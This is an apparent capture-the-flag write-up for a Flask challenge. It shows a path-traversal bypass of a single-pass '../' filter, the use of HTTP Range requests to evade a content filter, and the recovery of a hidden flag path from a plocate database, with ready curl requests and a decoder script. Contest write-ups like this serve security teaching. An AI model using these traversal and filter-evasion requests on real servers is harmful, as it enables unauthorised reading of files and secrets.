$ cat writeup.md…
$ cat writeup.md…
asisctf2026
Task: a Flask app exposes its own source and a hidden file-read endpoint with a weak traversal filter. Solution: bypass the single-pass path cleanup, use HTTP Range to evade content checks, decode plocate.db to recover the real flag path, then read the flag in safe slices.
Looks innocent. Probably isn’t. 😈 Find the bug, grab the flag, and enjoy the 'aha!' moment. 🚩
The landing page already leaks the application source, which immediately reveals the intended bug and the hidden endpoint used to read files.
GET / returned the Flask source code. The important part was the hidden endpoint:
def resolve(user_path): cleaned = user_path.replace("../", "") resolved = os.path.normpath(CHALLENGE_DIR + cleaned)
This is a classic single-pass traversal filter. Because ../ is removed only once, a nested sequence like /....//flag.txt survives the replacement step as /../flag.txt, and os.path.normpath("/app/../flag.txt") resolves to /flag.txt.
The same source also showed a second protection layer in /inspect: it serves files with send_file(..., conditional=True), then reads the body and rejects anything containing the byte strings ASIS or lib, and also rejects bodies larger than 65536 bytes. That explains why direct reads of likely flag files and /var/lib/... paths failed at first.
The key observation was that Flask/Werkzeug honors Range before that body filter runs. So instead of requesting the whole file, I requested tiny byte windows that skipped blocked markers. This turned the endpoint into a practical arbitrary file-read primitive.
Two early hits were deliberate decoys:
/app/flag.txt via path=/flag.txt/flag.txt via path=/....//flag.txtBoth contained fake flags, proving the primitive was correct but the target path was not.
The next useful clue was that plocate was installed. Its database at /var/lib/plocate/plocate.db was readable with the same LFI, as long as it was downloaded in ranges to avoid the lib filter. I decoded it locally at a high level by parsing the plocate v1 structure, extracting the embedded Zstandard dictionary, and decompressing the filename blocks. That recovered a filesystem index containing the real-looking path:
/app/485930ceb1d4ddd6cfd1b880998ae466/flag.txt
The final confusion was path resolution. The failing request pattern was:
path=/....//485930ceb1d4ddd6cfd1b880998ae466/flag.txtAfter normalization, that becomes /485930ceb1d4ddd6cfd1b880998ae466/flag.txt at the filesystem root, not under /app. The successful forms were:
path=/485930ceb1d4ddd6cfd1b880998ae466/flag.txtpath=/....//app/485930ceb1d4ddd6cfd1b880998ae466/flag.txtThat correction was the real blocker.
/ and read the Flask source./inspect?path=... endpoint and the weak replace("../", "") traversal filter./....// to escape /app and confirm arbitrary file reads.Range headers so send_file(..., conditional=True) returns only safe slices before the server checks for blocked byte strings./app/flag.txt and /flag.txt are decoys./var/lib/plocate/plocate.db in chunks, decode the plocate index locally, and recover the hidden flag path under /app/<32hex>/flag.txt.ASIS{...} format.Reproducible requests:
# 1) Get source curl -s "http://91.107.191.73:29994/" # 2) Read the decoy under /app curl -s -H "Range: bytes=4-32" \ "http://91.107.191.73:29994/inspect?path=/flag.txt" # 3) Read the decoy at filesystem root via traversal bypass curl -s -H "Range: bytes=4-40" \ "http://91.107.191.73:29994/inspect?path=/....//flag.txt" # 4) Download plocate.db in safe slices (example window) curl -s -H "Range: bytes=0-4095" \ "http://91.107.191.73:29994/inspect?path=/....//var/lib/plocate/plocate.db" # 5) Correct final target path: under /app, not /<hex> at root curl -s -H "Range: bytes=0-0" \ "http://91.107.191.73:29994/inspect?path=/485930ceb1d4ddd6cfd1b880998ae466/flag.txt" curl -s -H "Range: bytes=1-1" \ "http://91.107.191.73:29994/inspect?path=/485930ceb1d4ddd6cfd1b880998ae466/flag.txt" curl -s -H "Range: bytes=4-160" \ "http://91.107.191.73:29994/inspect?path=/485930ceb1d4ddd6cfd1b880998ae466/flag.txt"
High-level local decoder used for the plocate database:
#!/usr/bin/env python3 import struct from compression import zstd data = open("plocate.db", "rb").read() version, _, _, num_docids = struct.unpack_from("<IIII", data, 8) filename_index_offset = struct.unpack_from("<Q", data, 32)[0] zdict_len = struct.unpack_from("<I", data, 44)[0] zdict_off = struct.unpack_from("<Q", data, 48)[0] fidx = struct.unpack_from("<" + "Q" * (num_docids + 1), data, filename_index_offset) zdict = zstd.ZstdDict(data[zdict_off:zdict_off + zdict_len]) for i in range(num_docids): off, end = fidx[i], fidx[i + 1] if end <= off: continue dctx = zstd.ZstdDecompressor(zstd_dict=zdict) plain = dctx.decompress(data[off:end], max_length=1 << 24) for path in plain.split(b"\0"): if path: print(path.decode("utf-8", "replace"))
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar